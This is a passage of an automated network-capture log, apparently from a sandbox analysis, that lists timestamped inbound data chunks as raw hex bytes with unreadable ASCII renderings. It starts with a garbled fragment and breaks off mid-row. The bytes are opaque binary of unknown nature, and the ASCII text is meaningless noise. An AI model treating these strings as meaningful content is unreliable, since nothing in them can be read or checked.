[R0m1QX/hQ:YeNX`YeNX`YeNX`p.l(>9<}3&\|(}n,q3JGU[5`uzx5~[\|<\|mz+L z__Tpfp\!b.9#o,~;N"z5<pY%yP!6Ik%Ik%LiYeNX
2021-10-12 00:46:29 UTC	3190	IN	Data Raw: bb 5a a0 e1 c1 98 05 43 3d e6 d1 cb b4 30 0c 58 9f f6 9e fb 77 72 a1 12 d0 82 8e 50 d8 47 9c 58 34 5a a5 6f 57 fb 74 3b 7a 3b 45 98 f3 4e d2 e0 c1 c1 81 da e6 d8 17 3e f2 32 0d 50 a4 5d 58 43 d6 29 ea 3f e0 39 99 06 40 2a a1 e9 9f a6 2d 01 bf 07 78 96 ee a4 85 64 2e 5b c9 a7 45 97 48 1b cc a4 66 ae ad f5 6b 3c 4c 2e 09 d0 7f 08 eb 26 f1 ba 25 5c 72 c7 e8 95 50 13 69 81 7f 42 46 2d d4 a0 3b b5 0d d1 3a 56 fd 13 e0 99 34 c8 d0 f8 a9 5b 45 b9 f4 6b 4d 33 8e d3 f9 90 be 13 f7 eb 0f f3 8e d6 b6 a2 39 37 01 b9 dd 3e a7 99 ab e7 17 3c 79 58 8d 2f ab 07 58 58 24 c4 c0 16 b6 b2 ed 44 4d 2d 2f 6b 8d b3 d9 dc f2 4c 5f e2 6c fb 46 da e9 5f 20 5a 33 f3 bf 3c c3 17 9e 49 53 61 89 67 43 d5 d6 b8 2d 35 ef d0 4f 6d e9 1b 2d e8 c7 ec 5b b4 11 9d b8 0a 4f 6a 62 ff d1 53 f3 Data Ascii: ZC=0XwrPGX4ZoWt;z;EN>2P]XC)?9@*-xd.[EHfk<L.&%\rPiBF-;:V4[EkM397><yX/XX$DM-/kL_lF_ Z3<ISagC-5Om-[OjbS
2021-10-12 00:46:29 UTC	3192	IN	Data Raw: 02 cf a8 5e 28 2e 70 b6 08 06 60 49 14 86 66 39 3f a8 f2 67 8a f6 bf ad 0d 19 a8 6a 90 ef 70 0e d8 08 f7 86 1c 43 5b 1a 98 d5 33 d2 58 7f c3 07 11 4a 2d 43 80 c7 f4 ca ab ba ec 45 d9 73 c4 c2 8b 5c 7d 0d ac bf e2 32 cd 3e 7d 06 31 c9 a6 34 1b 8a 06 6a 62 1b d5 85 98 cb a5 7e 25 16 ce 09 1f ed bc 24 d2 4c 38 b8 36 08 d9 50 ab 1b 73 83 58 cd c2 98 06 83 39 7c 89 1f 70 78 9d b5 88 7c 11 f2 90 eb df 7e 28 a9 3a 73 3b a5 ec 61 61 87 43 35 c8 b9 66 ec 7a 88 73 52 4a 95 4f d1 7e 41 87 e0 d0 05 3f d3 51 70 58 96 34 2f 5a cb e0 3c cd ad 13 f8 83 a7 32 5f fd 24 f4 00 d3 27 6d 8f 01 d0 05 50 fb 2d d9 fa 6f a7 a0 da 1d 54 3e fd 69 e5 6f fe bf 58 57 1f b1 bd a7 47 8d ef 0f 01 3b d8 f8 83 8b 34 9a 5d e3 a2 d9 fe 9b 06 ab 88 2b f9 9e de e2 71 f9 b8 22 ec ac b9 9f 20 b3 Data Ascii: ^(.p`If9?gjpC[3XJ-CEs\}2>}14jb~%$L86PsX9\|px\|~(:s;aaC5fzsRJO~A?QpX4/Z<2_$'mP-oT>ioXWG;4]+q"
2021-10-12 00:46:29 UTC	3193	IN	Data Raw: ce a0 57 03 81 6f 49 42 3e 3d 49 f6 88 86 c9 df 4f 63 aa c3 b3 59 4f f5 ac 66 5d e9 ce 10 77 f2 da 38 f3 93 01 63 d1 2d 01 e7 9e 44 0a 5d f9 29 e5 aa 51 14 45 87 4a 84 76 ac 1a 92 70 60 c8 ee 07 b1 04 27 fc 32 3b fe 6a e9 bb 65 4d cd eb fb e9 77 03 52 e3 2a f0 53 f3 ed b7 a0 2a 88 61 fe 94 4b 16 07 70 81 a3 6e 15 f7 2e 54 9f 9f 99 ac a6 73 b2 e6 9b bb 15 58 2d e3 1a 9e e5 01 63 2a d7 9a 16 7d 50 6c 7d f3 fc d1 b6 ff da f3 34 de 10 83 3b 03 a1 59 23 fa 47 63 8c 9e 3e 21 08 bd a7 47 8d ef 0f 01 3b 88 2d 06 7e a3 bf 53 a4 00 fd 84 cf 8f f0 02 bb 1a 5f ff 22 c4 31 d8 22 8f f8 8a 20 e3 1b 9f db 94 ba 4c 49 2b 57 0c 46 ad c6 76 c1 cd 9b 4f 72 4e df b7 fb e5 8e cd d6 6d 9a 05 67 3a 07 f4 b0 7b b8 5a cd 10 43 eb 21 b9 28 55 44 d1 79 07 ab 50 e3 55 ae 8f 21 ce aa Data Ascii: WoIB>=IOcYOf]w8c-D])QEJvp`'2;jeMwRSaKpn.TsX-c*}Pl}4;Y#Gc>!G;-~S_"1" LI+WFvOrNmg:{ZC!(UDyPU!
2021-10-12 00:46:29 UTC	3197	IN	Data Raw: 0a 4a e2 56 1e 02 cc bd a0 d6 2c a5 d0 84 2d 08 c1 8d b2 04 9d 59 90 f9 a8 5b b5 8a 97 28 18 be 0f aa a0 8e 6a 76 ce 93 0f 1c 31 c0 27 da 98 35 d0 30 d1 75 60 07 9e c4 e5 54 49 e5 f3 82 75 41 fd c5 ae fa 2c 20 09 da 98 9a d8 57 fb e3 68 20 83 29 f2 35 40 fb ec 4b 7a 8b 5a a1 b3 b6 e5 5f 0d e0 ed c7 dc 2c e2 76 1d 65 4c 60 74 d6 d2 b8 1c 93 d1 c6 a2 5d 56 b6 0c d9 02 85 f6 eb ea 5a 48 14 10 08 2a ee a2 4c 94 81 27 8c 2e 7e 0f db 9f e4 e0 56 c8 3b 1b 32 96 8f 4c 19 48 f3 b2 db be 2a 2a ff 1a 51 78 a3 e2 f9 eb b6 c7 56 9a ab d9 49 08 13 03 30 0c 4a 65 8e fa 8d da 91 26 8f 83 59 62 a9 8f 42 d3 fe 9e 3a f1 de 6e 71 23 99 09 cf 86 60 2e 27 d1 c3 93 91 d2 06 cc 78 62 b5 ea 0f b7 b3 fc 76 6b 61 1e 06 40 07 a4 d0 a7 c8 db e1 cf 63 52 6e 1f 1f ec 21 9a 8b 0a 30 6b Data Ascii: JV,-Y[(jv1'50u`TIuA, Wh )5@KzZ_,veL`t]VZHL'.~V;2LH*QxVI0Je&YbB:nq#`.'xbvka@cRn!0k
2021-10-12 00:46:29 UTC	3203	IN	Data Raw: 4f f3 08 52 b2 3b fb 30 af cb 1c ce 84 d2 0d 62 9d cd 16 ca 94 d5 a4 94 c6 bb 5e c3 e0 12 a6 4f df a1 85 32 67 af a7 ef 00 71 1f 83 e1 63 fa 55 45 8e 64 78 b5 bf e9 d0 34 be 69 ed fe 4f ce a7 b4 4d ac 10 e2 7a 79 63 4c 1f 5a 25 b2 92 0a 32 7d 7e fb c4 1a f6 4e 34 a1 da 30 19 59 1e 3d 0b a0 bf ff d6 32 3f f2 a5 6b 8a c3 87 5f da 91 22 47 8e 6a e2 c3 50 55 42 09 ca 1e 93 16 22 95 ca 3c ef 63 e4 7a 8f f8 67 45 4c bb 10 ad 7b 12 b9 d6 59 83 6a 00 c2 aa 1e 81 73 ba 1f 48 6f b4 f5 e3 65 96 27 bc f0 c9 ae a3 4a d5 8d e3 7b 32 a3 0b ff c9 21 b9 94 70 1c ff 8f 80 42 8a 0b e7 43 5d 34 55 aa 0e 81 ba f6 68 08 2e b6 08 da 91 8f a9 25 39 f8 c7 c3 33 1a 29 3d 69 c0 db 6d 2f dc 8b e1 fb d3 d5 be 1c 4a 6a d1 cf 96 08 0b ae e6 53 6a c7 bd 6a cd a8 96 ed 43 ba 8f 68 ef ae Data Ascii: OR;0b^O2gqcUEdx4iOMzycLZ%2}~N40Y=2?k_"GjPUB"<czgEL{YjsHoe'J{2!pBC]4Uh.%93)=im/JjSjjCh
2021-10-12 00:46:29 UTC	3210	IN	Data Raw: 49 ee bd 13 94 00 7f c9 21 36 de 59 93 8c 18 6e cc a4 cd 83 23 0a da 8a c2 c7 00 7d a4 06 d3 80 30 93 bb 1e 10 2d af db 93 9e 23 08 17 21 53 82 dc ce 6b c4 90 b8 44 52 6d f2 fb ea c2 7f 24 6c 23 e0 db 3d 01 1a db 92 3e ed a8 a7 82 e4 65 76 a7 72 59 52 80 e7 9e a7 c9 e4 f4 50 7a c4 e7 16 a7 2a 24 ab 6d 39 da 07 d0 71 f9 ff 39 5f 30 68 9d 30 21 0b 5b c5 18 f8 e3 5e e3 af 76 ce b6 66 b3 00 0c 77 ed cf 3e 9a 78 7c be 14 66 56 7c 54 48 74 29 1e 80 0f 43 d8 49 c5 3d 44 1d 14 fc e5 1b e1 ae 73 6e ac cc 21 0e 5e 80 1c cd 06 ff d3 b8 b4 a4 0e a0 ee 38 9e 6c 5b e8 d5 66 c8 45 01 8e 8e 36 4c 35 de 14 50 88 ad c5 16 1b 1a d9 77 6d ae c5 12 e5 64 b5 01 e9 64 3d 43 d4 bd 57 30 15 35 a2 7d 00 c5 97 94 e8 68 d1 bd 5c 1a 79 76 d9 82 4c e8 2e 4b 0a 78 5a bc 21 53 97 0b e8 Data Ascii: I!6Yn#}0-#!SkDRm$l#=>evrYRPz*$m9q9_0h0![^vfw>x\|fV\|THt)CI=Dsn!^8l[fE6L5Pwmdd=CW05}h\yvL.KxZ!S
2021-10-12 00:46:29 UTC	3218	IN	Data Raw: 37 bf 79 51 1c 0f 8b f1 43 2e 53 b6 83 11 a3 a6 45 64 86 fa 16 2f 76 4d 91 f3 bd d4 e7 52 47 8b ea 54 1d 35 f3 df 89 83 d4 cd 1f 63 a0 f8 4c 24 73 cc bf f7 84 fc 74 a4 5b 74 71 db c4 02 b7 67 7d 97 4c 42 77 33 c3 5b 52 86 1b 04 14 69 42 66 9a 32 7f 05 8d 95 2c 78 d8 33 c1 0d 9c 13 49 69 c6 45 ab 03 44 54 52 f4 77 53 05 bd 18 b8 ce d8 60 0b c7 08 ac 56 7c 80 64 b2 59 98 dd cf 61 57 24 9c 82 5b 58 0f 62 c0 70 ea d9 c4 58 ee c5 44 fa cd c4 d2 39 e8 f9 81 53 f1 bb bb 36 7f 47 d0 7b 3c 70 d6 e8 bd 3b 08 e2 64 07 a0 7c e0 6c 92 19 9c 3f 7e 53 21 30 6a 00 8b 6b b7 02 82 41 4c 04 dd fb 90 02 8a d5 f7 69 3c 45 d7 70 b1 20 72 2f 63 39 f6 6b fc ee ac 2d 20 11 0c aa 0d a7 7c 59 9c 98 3a 34 d6 25 55 82 3d 58 d9 b6 d7 3f 37 7a d6 fd d7 80 2d 4b 1a 1c 52 b6 23 c6 4c 4d Data Ascii: 7yQC.SEd/vMRGT5cL$st[tqg}LBw3[RiBf2,x3IiEDTRwS`V\|dYaW$[XbpXD9S6G{<p;d\|l?~S!0jkALi<Ep r/c9k- \|Y:4%U=X?7z-KR#LM
2021-10-12 00:46:29 UTC	3227	IN	Data Raw: e6 58 45 11 d2 10 c1 94 28 2d ab e9 65 13 44 44 c0 66 70 6e ca e4 e9 2c 8d c6 cd aa 6f 95 bb 59 97 eb 91 e4 1f e8 32 74 cf 88 2a 10 c7 10 b8 ff c1 a0 4e 6e 26 81 fd 6c b7 e5 89 b9 1f 69 af ef 50 c4 3f 65 75 f2 27 c9 7b 1a 75 a8 5a 91 ee 03 49 86 2d c2 b3 a3 e3 ee 23 54 62 ef 71 f1 a5 f3 cd 55 d7 41 a2 a3 d6 0f 57 f6 3c 72 51 83 c5 e4 6e ab 6c 30 73 ec 79 9d c2 d8 db af 62 fb 9b 2f ad 83 1d 6f f6 34 97 ad a7 d6 f4 35 b9 d5 19 13 44 45 96 35 cd 71 43 26 67 3e ea c4 bb 5d a5 9c 1a 16 ad b0 df 54 eb 31 1b 82 05 33 43 dc 63 7d c0 4d 6a ef 38 6c 7d be 34 56 3c cf 1d 9f b5 6e 00 7b 99 9c bd f7 a0 c8 b5 f9 f8 5a 5e 84 02 c4 61 00 0e f9 cd f2 1c 3a 35 1c ab 01 d3 23 c4 99 8d d1 ea fe 7d b8 c2 00 5c a6 52 3c 1b a0 d1 c6 c9 26 31 2a 16 b3 51 1c 12 42 e2 59 70 8f 3e Data Ascii: XE(-eDDfpn,oY2tNn&liP?eu'{uZI-#TbqUAW<rQnl0syb/o45DE5qC&g>]T13Cc}Mj8l}4V<n{Z^a:5#}\R<&1QBYp>
2021-10-12 00:46:29 UTC	3237	IN	Data Raw: 18 f6 89 c5 1f 3d e2 a0 f6 7c aa 8e bc 07 3a 66 d8 a8 a1 c6 d1 6c 6d e8 56 49 5e ba c0 04 02 b3 74 e7 ce 64 12 2a 36 f7 78 d4 de da 4c 37 2e d2 cb 15 91 59 42 1f 69 c5 6b 50 3f 40 25 b2 e7 31 9d 7c 0d 9b cf 5f 78 fe 85 e5 bb 09 9b 5e 6c b7 7a 08 1b 88 79 c1 55 9d 9f 71 e1 7d e4 71 95 ec 58 a0 64 1d c8 1f c7 58 94 9b 87 28 d6 61 31 60 59 80 7b 41 a9 8a a0 ca 7e d9 ad a8 5c ad 23 8e 10 ab fa 54 47 94 ba 8f 99 05 3e 9b a7 2f 5f 75 7a 28 e3 15 42 6c 4b 1b fa 90 ed 77 47 86 25 21 29 05 4c 63 1d 78 ee 9b 48 34 aa ed d8 35 4c d2 5a 09 4d 07 de 5b 42 20 8d 62 49 eb b3 04 5d b4 65 19 42 30 9b a3 23 61 81 bf 81 71 08 c2 e0 76 a6 41 40 94 61 2b 22 a9 e3 1f 28 91 c4 0b b3 71 3a 30 00 15 10 85 f4 8e db e5 3a a5 86 4d e8 63 2e 0a 05 25 31 79 44 1b bc 6b 81 b5 5c a8 1f Data Ascii: =\|:flmVI^td*6xL7.YBikP?@%1\|_x^lzyUq}qXdX(a1`Y{A~\#TG>/_uz(BlKwG%!)LcxH45LZM[B bI]eB0#aqvA@a+"(q:0:Mc.%1yDk\
2021-10-12 00:46:29 UTC	3249	IN	Data Raw: 19 6e 08 cf 9b f0 4e 41 d2 1f 44 eb b9 91 50 c9 d7 d2 89 64 2e f2 18 cd 4c aa 2d 12 28 3b 14 54 61 a7 ac 2a 3c ce f2 e8 4e 34 7f 48 99 17 6f ed 7c f7 85 92 9e ef 32 1d 32 04 ec 5f 35 d1 61 64 87 24 9f 3f d6 01 66 97 b5 b3 02 6c c3 d0 b6 7d 6c 27 19 3a c0 67 d7 de 6e 1a ba 0a db ce ab c5 0e ce 47 44 5e b0 a8 68 7f c2 3a ae f9 91 1b 93 b5 e3 dc f4 9b 98 b0 de fd e5 5b 8e 4c 6b 2d 04 56 4b e4 ea 27 29 12 8f b8 00 aa 70 92 14 b4 1c 4c 3d fd 11 9b 8c e8 c2 da e7 20 7a 90 ca ea b7 1f 23 62 9a bd 37 a4 df ab 2d 44 6f 02 52 ca 3c b3 f4 e5 a6 d3 14 d4 e1 ec 31 bd 61 1f 3d ac 55 17 54 b8 cc b8 11 1f 5a 67 5d ea 8a 60 f6 c3 23 7e cc 3d 18 e9 f9 06 55 29 ff ef ad 44 ae 9a 0e e2 c0 f7 f7 b0 14 7a 11 8c 08 5f 5b 12 01 c6 e1 ec 8e b1 35 42 0d c1 78 ce 75 71 7a 48 77 ea Data Ascii: nNADPd.L-(;Ta*<N4Ho\|22_5ad$?fl}l':gnGD^h:[Lk-VK')pL= z#b7-DoR<1a=UTZg]`#~=U)Dz_[5BxuqzHw
2021-10-12 00:46:29 UTC	3253	IN	Data Raw: 77 7b 07 90 53 3a 65 0c 65 0c 35 2a 3a bf 93 d7 2a d5 c0 18 03 ce a7 67 90 38 ba 1d c9 90 db 5c 73 cb 5b 51 72 7d 93 de 4c fc 56 b5 64 8f 15 4d 42 cf 4b 4d 6a d1 d5 04 a5 08 aa b0 9b b1 84 ee 76 1b c6 ca a5 c9 70 ad 02 d9 48 e8 15 d3 53 82 b3 59 36 ee 5a 28 ee a7 5a f2 44 ac 97 07 46 ef d6 3f 3b e0 59 af be 59 67 1c cb 23 c4 aa da 65 3e 04 e4 d2 f4 1c 18 e9 4d b4 2d cf 45 ed fd 28 6d 2c cd e5 6f 08 d6 7b 03 87 73 db 37 8c d7 0d 88 a4 13 de 9a 2a e8 58 f0 ab 58 00 f5 a1 5a f2 d4 df a5 30 85 2e fb 8f 62 d6 8c ea df 92 b5 01 5c f6 72 e1 b8 22 ec 6b f2 85 67 bc e0 ee 67 30 a5 46 1a 7d e4 20 eb 80 68 b5 05 fd df 92 18 2d 43 26 20 7a b3 c9 d6 05 05 b8 5b 91 14 ee f1 b8 e5 8b 9f d0 48 2c cf 1c 46 ff e3 a1 9f 1b ae ac eb 99 78 32 0c 85 97 a7 c1 59 6c 65 81 01 4f Data Ascii: w{S:ee5:g8\s[Qr}LVdMBKMjvpHSY6Z(ZDF?;YYg#e>M-E(m,o{s7*XXZ0.b\r"kgg0F} h-C& z[H,Fx2YleO
2021-10-12 00:46:29 UTC	3267	IN	Data Raw: 7c 1a cb e0 c8 36 1d b4 ad ee 85 b1 68 52 93 71 c0 91 52 ed 44 de 26 4c 63 02 81 f1 1a 75 7b 49 68 80 1e cf cf 44 5f 1e a5 4d b8 05 2b f4 cc f9 fb fa 41 d4 14 13 96 9d f2 2f 42 60 2d 8c 3a 0c 94 98 ec 15 fe f3 89 2b 90 15 a5 f5 26 39 47 a6 e4 cb 21 8a 0d 03 39 1f 47 1a 07 41 a4 98 f3 6c da 69 d6 f1 44 3f d2 ac c3 ff 82 1c f6 16 73 31 87 07 86 cc 45 11 59 ee 7f 65 95 86 19 ce e3 c9 1d eb 4f 81 15 00 02 91 66 9a 3e 0f fe 66 b1 50 88 3c 06 19 30 ec bb 11 6a 56 27 eb cb de e4 67 12 fa 52 7e 25 08 c6 90 0a 00 25 7a bf 05 35 5a 0a 00 25 7a bf 05 35 5a 80 35 2c 6b 61 b6 2d 67 f7 47 06 ad 12 99 18 ec e2 41 cf b1 6d 6c 14 da d9 a7 b4 67 08 db 5c 31 0f 40 ff bf aa e6 45 4c 9c 10 35 46 e2 72 93 be fd 0e c7 12 b1 45 13 a7 43 d0 e9 27 20 0a df 5d 01 64 6b 51 74 2c 83 Data Ascii: \|6hRqRD&Lcu{IhD_M+A/B`-:+&9G!9GAliD?s1EYeOf>fP<0jV'gR~%%z5Z%z5Z5,ka-gGAmlg\1@EL5FrEC' ]dkQt,
2021-10-12 00:46:29 UTC	3282	IN	Data Raw: a7 2e ca d7 ef 57 10 50 d4 2f e5 da 91 ab 42 7e a4 29 d8 73 0a b7 f9 05 fa 6d cb 7d 30 de 9d cc a7 2b 83 fb 0f 3d 01 a8 74 1b b0 b1 06 53 98 6b c2 7c 85 f1 10 be e8 ca 79 d1 ef 8d 1f 7c 35 0c 2e ae 3a fb 78 09 cc f8 02 d2 b8 fb 53 a2 18 32 c8 d2 9b ea 9b 35 5a 5f 7d 50 89 ef 93 bd d2 5d 6d 9f 4f b4 eb 7e c1 f7 6b 3b b2 bc e6 ee cb 97 f6 36 4b 15 ca bd 50 a6 f0 b4 d0 73 f1 fa 9e f4 a5 06 74 5f dd 2a d0 d2 bf 89 a0 92 6e a8 11 fe 3f 0d db eb 21 33 61 3f fe 9b bf 78 64 fe 71 33 9d 29 2e 08 c0 43 d8 a1 a4 94 b2 60 39 4f 13 2b 13 01 db 6c 6f ce 8f 22 fe 2d 5d 18 2b b8 c7 20 31 5c 28 cc 2e c0 b4 45 d1 e6 13 59 6d d4 c9 e9 23 1b 1e 82 14 e1 90 ef b8 d7 34 e7 e9 a5 2c fd 33 9f 98 35 42 2f 99 f8 78 3b 9f 25 f6 72 3a da 93 8a 65 ae 70 4b 8d bd 72 3e 43 2a b9 cb 03 Data Ascii: .WP/B~)sm}0+=tSk\|y\|5.:xS25Z_}P]mO~k;6KPst_n?!3a?xdq3).C`9O+lo"-]+ 1\(.EYm#4,35B/x;%r:epKr>C
2021-10-12 00:46:29 UTC	3285	IN	Data Raw: 66 84 9e 19 4c 51 fd fd 57 0a d0 b4 15 82 4e f7 61 8a 47 5a bc 1d 99 af 7a fc c2 f3 ca dc be 43 34 bf 2f 46 07 27 15 48 e6 0c 97 f7 d5 41 cb b1 77 96 64 3e 72 d6 2d 7a b2 65 23 b7 4d db dd 9f 85 f3 9d 51 4c 43 bf 6a 1d 04 e3 cd 61 b2 8d 61 12 f7 c3 6e 8a de 1c 3a 65 d6 50 2c 64 fa da 52 a4 04 90 01 92 07 f6 b7 80 b1 47 5d 66 84 fe 46 a8 8b 51 af a9 80 a5 93 52 c3 58 67 92 e3 83 7f 59 31 f7 35 45 63 97 83 9b a1 28 9d de a1 24 65 d2 55 67 4d 87 ab 2b f2 8a bb ba e1 66 d7 af 69 64 a0 99 dc e3 e1 16 0b 08 8a 6c 80 2a d7 f9 17 f0 42 c7 06 23 9e 2f 68 ce 08 44 dc de b4 97 0b 13 94 00 ce 3f 44 cf d6 f7 ca 34 1d 3b 19 92 b7 9c bd 52 51 5f 00 93 89 8e 8d 0a c3 b3 7a 40 75 cd cf f8 6f cf f2 45 57 4c 13 0d 15 7b c0 1a e9 76 9a 3b ef cb be 35 2d 82 58 01 9c d1 9b ab Data Ascii: fLQWNaGZzC4/F'HAwd>r-ze#MQLCjaan:eP,dRG]fFQRXgY15Ec($eUgM+fidl*B#/hD?D4;RQ_z@uoEWL{v;5-X
2021-10-12 00:46:29 UTC	3301	IN	Data Raw: d3 be 74 ff 96 a5 41 57 6c 8d 4d a9 6e 25 7b 09 34 51 b7 b6 34 2c ba a0 66 7a 43 4d d7 8c 71 41 d4 4c 73 54 fb 82 83 2f de 2c 68 5c 18 82 14 61 47 44 a1 bd d3 05 82 62 e4 f4 a9 25 08 4d 43 44 f9 82 f5 69 d0 aa 89 ba 3e fb 95 70 62 01 32 80 56 5a ee b9 56 c8 c2 45 16 f8 79 90 83 fe 72 d7 fc ec ff 87 65 da 51 a8 2c ef 2d 5b f8 41 c2 1b 9d 89 33 c3 8c 2f fc da b7 f6 26 92 8d 8b 53 0a 6f cf 43 fe 06 b6 f7 db 0f 93 92 8a f1 65 73 28 39 b6 9a bd 97 51 07 53 5f ca 72 2f 8c d6 54 bb 54 fc 6a ae 85 a7 09 72 e4 60 ec 15 ea 68 ec 15 1a 78 72 8a a2 56 7f 89 5c 50 2f d2 8e 28 dc dc 36 9e 82 d8 94 28 73 1a 16 5f 14 55 6d ed f0 2a 03 65 30 35 93 e8 7c ff 2c 29 69 23 36 ea 0b 92 a1 95 ba 84 4c b5 70 ed bb 0e c9 f8 c3 81 f3 78 c1 0f f6 95 c5 f1 4a b2 f5 9a ad ed f1 6c 8f Data Ascii: tAWlMn%{4Q4,fzCMqALsT/,h\aGDb%MCDi>pb2VZVEyreQ,-[A3/&SoCes(9QS_r/TTjr`hxrV\P/(6(s_Um*e05\|,)i#6LpxJl
2021-10-12 00:46:29 UTC	3317	IN	Data Raw: b5 d5 b4 c1 04 2c 45 ec 93 d2 28 65 7d b9 14 b2 0f 47 11 f0 17 e3 87 53 83 e6 31 6e 77 00 a9 6b 9a fa 72 ce 17 fb f1 3d 4b 1e a8 b7 19 cd 2c 58 ff 19 b2 45 e9 ec d4 ec f1 3f 7e 9c c1 0b 8a 5f e6 ce ab 32 51 2c 29 70 20 1e e6 67 a8 2d 4c 43 73 00 b9 10 46 e4 12 0a bb 4d e5 38 ca db 2b e9 fa 77 22 10 99 00 86 f9 7b 75 db ed 6d b7 fb b8 d0 7d 31 d9 ea 2c 93 ce 5f 20 81 de 44 3f 0f 62 8d d8 0e bd 2f 4d 41 55 95 f2 f0 f6 93 38 d6 cb 97 a4 48 da 83 c3 9d b1 94 3a b4 e3 74 90 73 4f 35 81 cd 5b a5 97 4e a9 94 8c 73 43 c1 36 7a 17 a7 1f f6 91 51 f0 b5 dd 23 2b b8 98 df 57 17 f9 ce b3 61 80 ed 87 9f 71 32 19 a5 0f f7 89 8d 1b 73 50 61 cc e9 57 45 12 d0 9e aa 03 dd 34 b7 16 7c 2a f3 c0 35 d4 bd 27 98 39 7c a5 c5 f6 7b 3f c9 4e 71 18 f5 02 b6 97 a1 d9 13 d1 3a bd a1 Data Ascii: ,E(e}GS1nwkr=K,XE?~_2Q,)p g-LCsFM8+w"{um}1,_ D?b/MAU8H:tsO5[NsC6zQ#+Waq2sPaWE4\|*5'9\|{?Nq:
2021-10-12 00:46:29 UTC	3333	IN	Data Raw: a0 59 44 a4 37 15 45 d3 85 25 91 d7 81 10 42 26 6b 2c 54 e6 5b 0a cf 70 8f 55 86 65 7a 86 0f 5d 13 a8 28 16 e8 33 b1 c5 ec 09 c9 08 15 42 b5 3d 87 71 7e 41 4d cf c5 aa ab ce b9 2c c2 96 8b 0c 40 86 2c 6e 81 3a b7 27 14 03 22 c8 f1 5c ac c1 a6 f4 d7 ab e4 49 8e 28 18 33 11 89 c1 cd 29 36 d3 ac 6f b2 da c0 78 83 96 65 03 27 ca e7 1e 6c ba b8 ce 15 c4 9f cb d7 c3 4e c3 ae 6c ea c2 b1 28 67 fa c0 21 1f 53 a1 84 49 73 96 bf 85 77 63 2b 7d ef 5c fe 94 31 73 a7 90 c5 e3 cd 9a 99 bf f8 5f 94 0f 66 a8 eb 9b 4e 46 b9 15 ef 36 5f 01 b5 da d7 98 2c 6f 49 0d fe b5 bb 90 35 f2 a9 46 49 31 d2 72 cb 63 a7 4f 4b 28 02 d9 c6 9c a3 56 da 61 df 7a 5c bd b1 59 9a 6e a6 3c 1d 6e 93 19 e9 44 75 c9 01 fe 75 46 21 74 93 d3 03 5b b5 11 7e 37 83 46 68 83 55 84 62 8c 70 39 6e 51 30 Data Ascii: YD7E%B&k,T[pUez](3B=q~AM,@,n:'"\I(3)6oxe'lNl(g!SIswc+}\1s_fNF6_,oI5FI1rcOK(Vaz\Yn<nDuuF!t[~7FhUbp9nQ0
2021-10-12 00:46:29 UTC	3349	IN	Data Raw: 31 a7 dd 47 b5 7a d0 9e c5 04 e4 1a 30 38 7a ac 42 ae 53 2a 5c 83 1d 73 fe f9 ca a9 96 f3 b0 d1 e9 5d 4a a4 52 66 cb 91 28 54 ff f2 84 d8 f1 39 3b 60 87 23 5b 71 71 92 f9 75 15 34 82 eb 25 72 38 85 0a e1 73 31 fa 00 bf b5 84 93 60 93 22 c8 88 1b 65 db c8 b7 7a a0 7e 3a 48 3b 5a b6 8a 49 f2 6e 57 49 61 97 f2 9f 27 1f 3b 0c db 0a a8 2e 68 31 1e 9d 3c 2c cf 45 ee 2b 45 ad f0 9a b8 7c 5d ae ed 0b ad e1 dc b4 25 89 26 53 0b b5 d5 5c 90 7c cf 73 b5 98 4a 19 d8 e0 bf 3b 30 91 59 e7 18 af d7 a4 1c 78 75 5c 6f 9d b8 94 bb 3d ac 22 70 fa d6 b5 5c a6 3e 23 b1 78 f5 f2 04 16 fa e0 cd 1a 61 a3 a4 be cf 22 c2 80 be 91 55 79 2b 2a d5 69 d2 9f 19 9c 20 07 7f e8 45 e6 52 2b 5a 8e 89 ce a9 06 dd 27 cb 41 dd 75 66 2d 15 a0 6c 17 2f 71 45 31 f7 7d d0 dd cf dc 28 3e 7b 49 8a Data Ascii: 1Gz08zBS\s]JRf(T9;`#[qqu4%r8s1`"ez~:H;ZInWIa';.h1<,E+E\|]%&S\\|sJ;0Yxu\o="p\>#xa"Uy+i ER+Z'Auf-l/qE1}(>{I
2021-10-12 00:46:29 UTC	3365	IN	Data Raw: 24 7c 36 f6 e4 eb a7 a8 43 af 21 ce f9 ee c8 23 79 d3 a0 49 ab 0d 9a 54 0c 98 e9 94 3c d9 1b 5a 18 c3 ba fc dd 1f 71 40 84 68 63 9e 07 ce 99 2d 67 3d 9b 4a 26 1e f2 a1 c8 93 b3 26 27 df 70 88 7a fe 64 d2 c3 01 dc 08 ae d0 8d cf 0d 92 d8 ae 0f e8 15 d0 c7 fe 3a 41 eb ce b4 fd 7a e8 ad 50 f1 a3 3a 49 d0 b8 ca 6a 9d 58 dd 41 6c 5b db db 13 95 34 db 1e 14 05 be f3 38 18 ca db 4a 27 cb 24 0f 5c fa 73 86 06 58 5e 44 21 a3 b2 05 67 ee fe 35 1b fe b2 ba fe a7 9b 14 79 9d 2c d5 2d 1c e9 59 be 71 cb cb 9a 25 f6 aa ed 92 bc b7 2a 00 ef b1 7f 5f 3e 56 ef 06 45 6c 83 40 d5 0c 74 26 4f 01 d1 62 8e e8 3b 23 a6 7c 1b f8 d5 fa a4 f1 a6 77 e8 66 ec bf 11 8a 96 8a c6 c5 cf dc a4 30 2e b7 e5 0c e1 ed 4e 26 71 60 56 e1 ce 1d 1e 03 ec db c2 18 9f 4b f1 df 46 42 10 88 71 a5 78 Data Ascii: $\|6C!#yIT<Zq@hc-g=J&&'pzd:AzP:IjXAl[48J'$\sX^D!g5y,-Yq%*_>VEl@t&Ob;#\|wf0.N&q`VKFBqx
2021-10-12 00:46:29 UTC	3381	IN	Data Raw: b6 1a 0f 69 10 f6 3d 51 5e 82 dd 8f ee ce 38 9f 25 ee 3e 57 d5 38 fe 36 1e d6 2b 3f 5b ae de 6b f0 3c 9f 05 3f ee 78 84 f6 80 64 1e b3 7a 67 a1 78 b1 90 93 b8 3a ba fb b9 63 6b 4d 5e 7f 42 e4 5e 90 26 99 35 aa 51 30 6d bd 78 35 a3 cf e0 05 61 97 b5 d5 e6 d0 4b 4d 3f a5 ea d6 17 48 af 5d 0c 66 a1 71 89 70 37 0e e5 82 67 3b 69 0c a8 e2 37 be 2e 17 5f 4b a0 7e f3 77 ed 5d e1 22 fa 6d ae 31 8d 4a d6 e7 dc 1b 20 76 41 07 82 66 eb b7 df 8a 5f 86 51 04 77 eb 3a fa 1b b8 17 d4 8c 4b 6c 62 4b 82 5c a3 66 69 03 40 c5 ec dd 87 fd f9 cf 9d f6 b2 31 51 bd 0d 28 1a 51 c6 89 12 50 bd c3 ef b9 be 96 cc de 95 49 6a f7 60 ca 3a 9c 39 05 af cf 68 40 95 db 0d 0b a6 6b d7 db 